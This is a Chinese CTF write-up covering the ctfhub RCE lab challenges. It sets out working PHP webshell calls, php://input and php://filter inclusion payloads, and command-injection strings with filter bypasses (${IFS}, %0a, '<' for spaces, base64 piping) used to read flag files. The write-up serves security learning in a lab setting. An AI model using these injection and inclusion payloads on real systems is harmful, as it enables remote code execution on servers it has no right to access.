【Web】ctfhub基础知识之RCE

eval执行

在这里插入图片描述
打开来是这样的网站,去看博客复习一下php咯

  1. php函数意思是:

是否有变量cmd 如果有,就执行eval($_REQUEST[‘cmd’]);也就是 木马

__isset判断一个变量是否已设置, 即变量已被声明,且其值为ture

所以我们在访问的时候使用变量 cmd

/?cmd=system("ls");

坑:记得加;
在这里插入图片描述
无信息,返回上级

/?cmd=system("ls /");

在这里插入图片描述
找到flag

3.查看flag,坑:相对路径

/?cmd=system("cat /flag_19968");

在这里插入图片描述

文件包含

如图
在这里插入图片描述
查看给的shell,是一句话木马,密码(需要传递的参数)ctfhub
在这里插入图片描述

strpos:查找字符串首次出现的位置。 用法:strpos(string,find,start)
在这里插入图片描述

php函数意思:
如果get传参的变量中含有flag,就会执行 else 进行警告 Hacker!!!
否则,执行包含起来的文件: $_GET[“file”]

  1. 现在要想办法绕过hacker警告,执行包含,看别人博客,发现
    我们需要找个变量指向一个没有 flag 的文件,题目就自带一个shell.txt,想办法利用它。

我们可以传递file参数到网站,file=shell.txt
然后想办法将ctfhub传到shell,实现连接木马的目的

别人博客是这么写的,利用了hackbar,然后其实burp抓包也一样
在这里插入图片描述

  1. 按照上述步骤执行命令,效果如图
    在这里插入图片描述
    发现flag

php://input

高危漏洞,写入文件内容,做命令执行动作。只有在allow_url_include为on的时候才能利用这个漏洞
在这里插入图片描述
xs,怎么把phpinfo发给大家了,然后查查allow_url_include,发现是开着的
在这里插入图片描述

  1. 构造url。/?file=php://input, 还是勾选post data,然后利用php执行系统指令
<?php system("cat /flag_21097"); ?>

在这里插入图片描述
在这里插入图片描述
拿下!

读取源代码

在这里插入图片描述
题目提示你flag文件在/flag里了,但要求你读取源代码才能看到
这里用php包含读文件的知识点,就是想办法读取目录中的某个文件内容

  1. 根据ipad的资料,构造url
?file=php://filter/read=/resource=/flag

在这里插入图片描述
不用加convert.base64-encode,直接拿下

远程包含

需要开启allow_url_include = on和magic_quotes_gpc = off

在这里插入图片描述
又把phpinfo给出来咯,那就查看上述提到的俩参数有没有设置好,一般都设置好了吧。

我的思路:构造/?file = .xxx.com/www/shell.txt (我的网址,上传shell,执行系统命令)

大佬博客思路: 跟上一题一样,直接用php://input
所以还是用php://input吧,同样也可以称之为远程包含

这里了解一下上题用到的filter吧
在这里插入图片描述

但问题来了,我们并不知道flag后面的数字,所以,我们直接使用是无法获得flag的

必须先使用 php://input 获得 flag

  1. 构造payload.

在这里插入图片描述
这什么玩意儿,这不跟上几题一样吗?

命令注入

如题
在这里插入图片描述
在这里插入图片描述
有一个命令输入框,还有源代码

  1. 有种冲动试一试,直接来
192.168.111.111 || ls

在这里插入图片描述
果真试出来了,接下来就是目录遍历找flag了

补充一下命令连接符知识点
在这里插入图片描述

  1. 用如下代码
123 & cat 4361735513621.php 

发现打不开PHP文件,看了下别人博客,用管道符base64解码

123 & cat 4361735513621.php | base64

在这里插入图片描述
出来了,放到解码工具
在这里插入图片描述
拿到flag

过滤cat

还是用如下代码看目录

127.0.0.1 & ls

在这里插入图片描述

如题描述,服务端代码过滤掉cat了
在这里插入图片描述
没关系,用个more试试

127.0.0.1 & more flag_2344011145960.php

在这里插入图片描述
好,绕过了,只是打不开,老办法,base64一下

127.0.0.1 & more flag_2344011145960.php|base64

在这里插入图片描述
出来了

过滤空格

直接编码一下空格,%20
本来想用:127.0.0.1&cat%20flag_318971575127058.php|base64
发现好像不太行

大佬博客
在这里插入图片描述
好好好,直接用<代替空格

127.0.0.1&cat<flag_318971575127058.php|base64

出来了

过滤目录分隔符

这次过滤了目录分割符 /

  1. 还是127.0.0.1&ls
    在这里插入图片描述
    我的思路:使用//双写,(不太行,已经过滤掉了)
    大佬思路:使用;----利用分号使多个命令同时进行

payload:

127.0.0.1 ; cd flag_is_here; ls
127.0.0.1 ; cd flag_is_here; cat flag_12031321527007.php|base64

在这里插入图片描述
在这里插入图片描述
可以,拿下了。
居然没有第一时间想到;符号
shame,继续加油,积累经验

过滤运算符

多过滤了几个运算符/(\||\&)/
xs,没过滤分号;

;ls

在这里插入图片描述
不过确实,不能加 |base64 了,得想别的办法

哦,刚看了下,base64还能写在前面,麻了

;base64 flag_217831934716573.php

在这里插入图片描述
拿下

综合过滤

同时过滤了前面几个小节的内容: /(\||&|;| |\/|cat|flag|ctfhub)/

连;也过滤了,但没过滤百分号
看了下大佬思路;用%0a代替,其他的没啥好说的,懂得都懂
坑:%0a是url编码所以要在url栏中执行,上面空格替换的思路也是一样

在这里插入图片描述
注意:flag也过滤掉了,用如下代码代替-{IFS}f***

  1. 构造payload
%0Acd${IFS}f***_is_here${IFS}%0Als

在这里插入图片描述
记得base64写在前面

%0Acd${IFS}f***_is_here${IFS}%0Abase64${IFS}f***_45911529120623.php

在这里插入图片描述
拿下

过滤总结

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值